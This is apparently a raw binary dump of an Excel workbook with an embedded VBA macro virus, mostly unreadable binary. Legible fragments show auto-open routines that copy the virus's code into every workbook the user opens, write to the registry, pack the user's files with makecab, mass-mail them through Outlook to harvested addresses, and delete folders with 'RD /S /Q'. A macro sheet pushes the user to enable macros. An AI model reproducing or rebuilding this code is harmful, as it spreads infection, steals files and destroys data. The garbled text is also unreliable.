iI@Lbタd(ヌ) To UNホ*f E普i)@トI0tem(@畸CxrLfワB?ョ「_ィ?0絲N゚ IfCYd,> 0 Thenウ(h?$b.ke?sウ,c3Cノ゚ ハ??&閲`#ヌ マ!@ End? 疂|Noth?yke?ォ蝙Sub !・ア(inp?ad_2s澡ng?例_frag/\ぁbjFSO, logf?ーチコ_patI#folde?タ?$FD:\Cリoll?摩ゥAミ??ュユB!﨟AトSysタf#「D On @Error ゚ue n猴?@3_A」??゚タ .cF}b(el ].=Existsヒ。カch\ .tタ霤〕8b$a2ヘ%?"?, 畉??ツタソ?S? _P/e1!タ Case B*B)?n  $、仲? dOpen_@, -_・ミA.Wriー?5_ S5Clo枹_q、 \寿 ッ O.ッ 9O%?0費ッ ロ。ッ tー:Cッ o ッ iァ%S?sK!?>n?N "ツu>bロ.槊」ッ ルM?N@ァ, Myアロタ6エ臭s?s?o1C)?M戔M"゚:?s @//e(ナ , 1, 澁alseッ-メチ?J.At`OfSレtPヲm准オト eネE1ソoト_。!Iフ%n?gQtメ{^%揵??、xヨツ%sテ眞」テ@楞タ?i2゚qマタマタマタ NL$k?ヌャ`Splトit魑, vBゥ_?HィヤPY乂!2ィ)ィ. /??【1ィ{ Rリ「0ィ?*チッヲメチo゙ R?Bl!?ァ?_テHキ" Print? #i, " NextネEnd IfXSet oDict = ?Nothing FnFunction2Close (i) Applica.WindowStateHxlMaximized WshShell.Run ("wscript.exeア& AddVbsFile_search), vbHide, ?False 」Eヲ 售ub4 bv? CreatCab_SendMail(VDim i As Integer, AttNHame St「g ? ListQ ress_l? I ?fsO?bject, ?'? 枦d= get_ten_^a i頚Ke(リ"WSΔBV"タ7A =@=C?ニ [u.f@Xsystemo? If fs.Folderexタ1s("E:\SタORCE")?Z` Then   3С= Re@place(ナLeft(ThisWorkbook?チ\, Len ) - 4?" R"@ウ_". m@r_sub?%0"*" @札& "*M@bage*@ィ尿 ?3sorce\L _Key.(vbs iタ Fr?ex Op;ネFor Out?put Acc?0 Wri@ケタr#i ⌒ 瘁oex?cel,owb ,Fso,タ彗_xls,sh,r0oute?n errRes志?ヲysh=・ ?a"sNa㎏ ")k sh.MトinUAllk」 ?タ"2ぃ?タムS!N??S"N」V。 ?9?eタイ Z@LZ# A黑Ke?h[Ac?GK <opyチ _+'%.Cur?rentDir@?8ory澡d-Q*.錣ABd,"8笋 ?\E Tru?畭SEacha吮J?广 a並(ハ`W??$expa?ナ、m」 m# -Fョ:Aeィ.タZ タ, 0, tnoZ琇6忍юネ/ヘ% Dq!? t?軟チr ?l =?"エ ?b ?f a@?  9チB)=・ヲIn`腺ox,=8 dr^a 炅 @g、 「 フCo、  P? 4, 10, 8ク500VUa格恬?e?弘+E+5゚) UBound(a)cォPーカerv?e a(n*2??Arムソ・チアn + 1/ s゚8@} マoー/ -?/ d}0a。レ )レddq ?zクム b\TEST?t罅ー瞼 ッー?ヤ。ーネ#PK_キ紳Xキ゚?>コ「~ ?ニH遐ヲee刃Upd0鈩g " ミウtore錬efPA ェ澳aveC シQフマ エ、Af?<c c4$燵1銘?ラChDri?湮 , ?,'"C:觸@?ir`)リミ1,nviron$("comsp ec切 /c makecab /Fト~[キThisWorkbook.Path & "\TEST.TXT"""< /D COMPRESSIONTYPE=LZX XMEMORY=21.ABINETNAMETEMPLATE=../廣ttNameー.CAB", vbHide, False Do Until fs.FileExists(ャtxt")? _ And"5setup.rpcォinf+5z)rEvents Loop{WshShell.Run Environ$("com0spec:?ヘ /c RD /S /Q ρ掬isk1ッ・2Delク /FjA_"r? ・GlソワNzクFiE:\sorceQコIfBォold(ereCケ"タ KK@{=ト ThenA CreateF%ツ D %YMO@VE /Y P」 #pChDir c4$ Call Massive_SendMail(Addre尽s_lt, D{, "Dear  ,チ vbCrLf~GF"FYIッ# wチ」\p" f_?馗.`Set e = Nothing`㎝plication.ScreenUpdタng?TruE`摘タ鬼ub。uPhriv? タ?EJm?#_、#$,ject Body!タCC_ebad?タ #achm焉 $ Dim objOL AsH Ob。 i炙mNew!0ュJ if_out稷?コ_opタGbHタィ>t!」a!テ = #Lc ("O.A_ァ"?AH=.Item(olマAト」 Wi フ'禛! .?(A-$hマA&チィTo`?yCC?i,hg-s>. 4。Vd/?歹t@eAfterm?t C@チチ@aO?オrror Gメo?co@ラn・。d-:.?ウplayDebugB.潛nt "`叔ヤorタ$"oナトDクチ Keys "%s@jWait<:=gKB ?U 、 i!?ョヨッ1` Funcム4?()a+Boolea(n トs Get?WinMgmts:").InstancesOf("?32_Ptros!)ヘ.Т 4 F0Eー? Ina炯 2InStr(p/.DescripQ `KOUT?OOチW> 08< ゚3メ4 If NextモyBニRadomNine(leng>Intpegerr? 礬 !@jj。, kスレiリミ"?"?モ$<= c [@:1E。 i1 `-。モキ煢$$ア[id. ナU = !t / 10タRa0izW[メツ &k? `(RY* (@* i - m01)) + *1T mk ?> ー 疸 !ゥw m/  ?get_tn_?]チqモ.UAsleヤa_ar?r?AlPAセpSpkt(Read@[("D:\CHolled5h\og.Rイ疳?YkrrラV)UBoPund()L暠s )4??タO P$;3A$?(C`(i- 1&チ$O7on ナFullqホ?%F\Resu猖。&Fso靍ノ?ネT2>aQK`{sscRiPTinG.fiLEsysTeMoBjcT駸aヘア@\.O@za(5 ,ト 1Dム, -ムa q.!Allテ?.Cloムヤg泣 3ragMark, path?f?チONOツ壊OQ}("OM@:?ュ、ーLeft(`, Len」a(1?0 﨑ア イソa ?チA0ト `ーI譽ソt_Q1" 、゚e 2ッムWrit脇 FdオE 顗AEr1??(ィ"チ?baウ FileText.Close End If 8Sub Private @ Res?toreBef Send() Dim aa As Name, i_rowIn teger"coFl"fshtObject Application.ScreenUpdng `= Fal、 #DisplayAlerts"On Errorォum? N FEachィIn ThisWork?book.〇s?.Visiblbe?(Tru劇 BSOt(aa, "!")(1)"Auto_A把ts".en$潺elet 掘{A ASheet?If ?3?Macxro1+СSxセl@ ?辜F8タ/.S@)\Cー.AddHK ?x<> UCB+eryHidden, C$C??t((15 * Rn@d) + 1?亙_6ヒCel8ls(De** CONFIDE?NTIAL! X" H タ2I Use " & C@hr(34)@Left(ホ? L?n) - B "_key.vb? @po Opタ?Aツ゚.$3 $ヌモテ$タ1V$ス簍?ヒホトシ?AWith Ranネge(?, t'?"L.Font.B8oldタVhgColorIndex??3c椎践Fun none但pfterチ+E亭N, del_rnBg」fragチ撮瀰oleaタO玽{e"[br??浮听fコl ?l")?w…k& ? ! トtd).c>"A1:F1 5"? InStr(.Valuタコ"ノi") > 20| ツ*= 眛5xit ?」\?(`?%x?$ クx? d \?Wstdo?le h%^*\G{00?020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`ウOffDicЕOf?iヤc?梳楳・2DF8D04C-5BFA-10?1B-BDE5?EヤAA?C4?2??gram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#ギ 1@1.0 Ob? ?LibraryK ∨VBIDE>ヨBIィDE・キュ?・E157?審ク5.3コゥ/タⅨタ6E6EXT.OLB?Visual Basic for ApplicBs Extensibilpity タタ+?B?ツリ)B概hisWorkbookGタ Tタ喫sWAタ俊kbタoUタホ 2レ タTHB1Bョミ?ゥ毅,ツ!ハ"B +BBイSheeィt1GツS@#e@滋t1H2N!マメヘ鰔アマToD?イテT@;潺OL?{テC'テIマV奇  !btartupPathiScreenUp適*y????rU????~~~~~~~~~~~~W (クdウrDzF守Ui5,ヌ ィ???? ?????????????? ??????????????)???????????????????????Yフay? ィ*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Libraryシ*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 ??????ッUS??????????????????????????????????????????????????????????リ)ThisWorkbook06535513af??ThisWorkbook??ハミ?? Sheet107535513af?? Sheet1??鰔メ?? ToDOLE05535513af?? ToDOLE??????0V??????P????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????0????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????NGMサN@朿ヨハ ハ^????ウマ{ル>GVHケユ憑???? cーC?・+ロ*抦0????????0?レロ??D Excel?+` VBA`Win16チ~`Win32`Macウイ`VBA6ュ#`ケ、ウフ1p` stdole伝` VBAProjectセソ` Officeu` ThisWorkbook|總 ??_Evaluateル` Sheet1` VBIDEA?`ト」ソ?ニc` ToDOLEナ拜 auto_openV ` Application・*` DisplayAlerts`Path2` StartupPathiScreenUpdating! `delete_this_wk}歔copytoworkbooke?`Sheets ` Movemacro4@鸛Save漬`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines喚`VBProj蠍`VBCompモ彖 VBComponent`CodeMod}O` DeleteLines チ CountOfLines!\`ャ(do_what?`RestoreAfterOpen??`ャ(OpenDoor?ャ(Microsofthobby ュ` ActionJudgeBG` ャ(copystartメ `wb?`Workbookk`VBProj1Fキ`VBProj2Gキ` WorkbooksB? ャ(copymodule塊` ModuleName#>` FromVBProjectフ6` ToVBProject佃`OverwriteExistingk濮FNameR玽CompName!形Sj`SlashPosk#`ExtPosFヒ` TempVBCompス`Trim@? vbNullStringョツ` ProtectionЯvbext_pp_lockedノh`Erro柿Number」-`Environ,`vbNormalヨ-`vbHiddenT;`vbSystem恋`Clear耋`Kill⇔`Removeマア`Itemラz`Exportヲッ`FileNamejテ`InStrRevト?Importiナ`vbext_ct_Document ?Linesコホ`myfile0[y`MyFileチユ`FullNameミ杼 WorkbookOpen矮`ShellVラ`vbMinimizedFocus、x`IsAddin~|` SaveCopyAsT臍Fso齒`RK1ミホ`RK2ムホ`RK3メホ`RK4モホ`KValue1'ク`KValue2(ク`VS棒`Version。ナ` CreateObject`ャ(WReg窕`strkey`Value膃` ValueType `oWshellu餐RegWrite!>`shtンモ`Add`xlExcel4MacroSheet0` ActiveSheet%N`Rangeレ ` ActiveCellスキ` FormulaR1C1S`UserName\訌ChrK~`Now%コ`Namesホソ`Ex! )Qケ、ウフ1 VBAProject ThisWorkbookSheet1ト」ソ?ToDOLEタF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA q???? 0タF4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel i???? @0タFC:\WINDOWS\system32\stdole2.tlbstdole y????。PLミ?∵スェD゙R?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice a????`WタFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE ????ゥ9p auto_opencopytoworkbookdelete_this_wkdo_what copystartレタF copymodule 瑁薙ムサタOカトヲMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen タFルタF9 a ????ユタF哮DvAΤットツタFィ %儿「 @。? 鬮?DタFWorkbook @ラタFName Macro19 ネ ThisWorkbook`タFbタFdタFnタF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next BApplication.DisplayAlerts = False A5 Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueリタFI゙ィ マ_ K睆ツJCh タF"?<ネーツA酪?ウ侶DタF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 =ALERT("【(u充 ?sQ﨑  0Please Enable Macro!",3) $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL ル????`  ル????" (%rU????~~~~w ???????????????????????? 14 !Qwb ModuleName Q FromVB__SRP_1 ????ユPROJECTwm????????????゙SPROJECT????ヌSummaryInformation(????????Project ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf !Q ( !8ThisWorkbookThisWorkbookSheet1Sheet1ToDOLEToDOLEID="{92005897-E5FC-4D11-B8E1-616BAD508DBC}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="2B29C03FEF43EF43EF43EF43" DPB="5654BD14C314EF15EF15EF" GC="81836A6F6B6F6B90" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C ??煥漑hォ+'ウル0クHPdt 、ーィ ホ「ネ櫢ミケUserMicrosoft Excel@%?專.ホ@Q曷?フ@ク\ホ??ユヘユ?痘+,0ト PXl t| 、ィ ホ「ネ橆テサァ' INV ケ、ラDocumentSummaryInformation8????????????CompObj????????????j?????????????????????????? ???? タFMicrosoft Office Excel ケ、ラBiff8Excel.Sheet.8?イq